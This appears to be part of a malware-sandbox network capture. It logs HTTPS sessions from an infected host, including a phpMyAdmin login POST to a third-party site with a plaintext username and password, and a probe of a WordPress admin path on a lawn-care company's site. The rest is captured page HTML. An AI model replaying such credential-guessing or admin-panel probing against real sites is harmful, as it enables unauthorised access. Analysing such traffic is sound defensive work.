2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.4	62745	172.67.181.211	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:32 UTC	378	OUT	POST /phpmyadmin/index.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip Cookie: phpMyAdmin_https=b5b75fcer0lpggrjtuajsv8im2; pma_lang_https=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://entexclusives.com/phpmyadmin/ Content-Length: 153 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:32 UTC	153	OUT	Data Raw: 73 65 74 5f 73 65 73 73 69 6f 6e 3d 62 35 62 37 35 66 63 65 72 30 6c 70 67 67 72 6a 74 75 61 6a 73 76 38 69 6d 32 26 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 6d 79 73 71 6c 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 3d 53 59 31 31 42 47 25 32 41 26 73 65 72 76 65 72 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e 70 68 70 26 6c 61 6e 67 3d 65 6e 26 74 6f 6b 65 6e 3d 36 34 34 65 35 31 32 38 37 65 37 63 32 39 33 36 35 38 37 30 33 61 32 34 34 35 36 36 33 38 37 30 Data Ascii: set_session=b5b75fcer0lpggrjtuajsv8im2&pma_username=mysql&pma_password=SY11BG%2A&server=1&target=index.php&lang=en&token=644e51287e7c293658703a2445663870
2023-12-20 02:13:33 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: phpMyAdmin_https=7mamm0t2fta1bdhijoagq4qol0; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: pmaAuth-1_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:33 UTC	621	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 33 33 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:33 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 33 64 62 31 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3db1<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4deb2"></scri
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a 65 72 2e 6a 73 3f 76 3d 35 2e 30 2e Data Ascii: ry.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resizer.js?v=5.0.
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javasc
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 79 3a 22 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 36 37 36 31 32 65 34 63 32 61 35 36 35 66 32 35 37 65 37 33 36 62 34 36 35 38 35 62 32 61 36 61 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 53 74 72 75 63 74 75 72 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c Data Ascii: ry:"",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"67612e4c2a565f257e736b46585b2a6a",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:"Structure",pma_text_left_defaul
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 6f 63 6c 69 6e 6b 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 66 75 6e 63 74 69 6f 6e 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 6e 61 76 69 67 61 74 69 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 69 6e 64 65 78 65 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 63 6f 6d 6d 6f 6e 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 2c 20 31 29 0a 20 20 2e 61 64 64 28 27 76 65 6e 64 6f 72 2f 63 6f 64 65 6d 69 72 72 6f 72 2f 6c Data Ascii: ', 1) .add('doclinks.js', 1) .add('functions.js', 1) .add('navigation.js', 1) .add('indexes.js', 1) .add('common.js', 1) .add('page_settings.js', 1) .add('drag_drop_import.js', 1) .add('shortcuts_handler.js', 1) .add('vendor/codemirror/l
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 73 68 6f 72 74 63 75 74 73 5f 68 61 6e 64 6c 65 72 2e 6a 73 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 41 4a 41 58 2e 66 69 72 65 4f 6e 6c 6f 61 64 28 27 63 6f 6e 73 6f 6c 65 2e 6a 73 27 29 3b 0a 20 20 7d 29 3b 0a 2f 2f 20 5d 5d 3e 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 69 64 3d 6c 6f 67 69 6e 66 6f 72 6d 3e 0a 20 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 6d 61 5f 68 65 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 0a 0a 20 20 0a 20 20 0a 20 20 0a 20 20 0a 0a 20 20 3c Data Ascii: AJAX.fireOnload('shortcuts_handler.js'); AJAX.fireOnload('console.js'); });// ...</script> <noscript><style>html{display:block}</style></noscript></head><body id=loginform> <div id="pma_header"></div> <
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 61 62 6c 65 22 20 76 61 6c 75 65 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 20 76 61 6c 75 65 3d 22 36 37 36 31 32 65 34 63 32 61 35 36 35 66 32 35 37 65 37 33 36 62 34 36 35 38 35 62 32 61 36 61 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 69 65 6c 64 73 65 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 65 67 65 6e 64 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 4c 61 6e 67 75 61 67 65 3c 2f 6c 65 67 65 6e 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 65 6c 65 63 74 20 6e 61 6d 65 3d 22 6c 61 6e 67 22 20 63 6c 61 73 73 3d 22 61 75 74 6f 73 75 62 6d 69 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 69 Data Ascii: dden" name="table" value=""><input type="hidden" name="token" value="67612e4c2a565f257e736b46585b2a6a"> <fieldset> <legend lang="en" dir="ltr">Language</legend> <select name="lang" class="autosubmit" lang="en" dir="ltr" i

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.4	62907	199.60.103.2	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	472	OUT	GET /wp-admin/ HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.greenlawnfertilizing.com/wp-login.php
2023-12-20 02:13:33 UTC	1344	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845de33e1e748e-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 58 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-fj6sn x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: c43cb566-4973-46ed-b2d8-3ecc8783f151 X-HubSpot-NotFound: true x-request-id: c43cb566-4973-46ed-b2d8-3ecc8783f151 X-Trace: 2BA555F2A193A0219275DBE3D793930189EF7F900F000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dub2NO80AI5VsBLa8233pDJMn4qc%2F3CFnKUmpdNZsf6gxAycoM6H%2FFOjIFc1lJEtUL%2B8RfWmlwe71IQphkfOs0WU3IFsmOoU9ariovuBWnn63bAraPf1toxFhgT%2BpN97UoGJ5W4AGx3HaMAbRSw%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:33 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 36 31 64 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 61d5<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
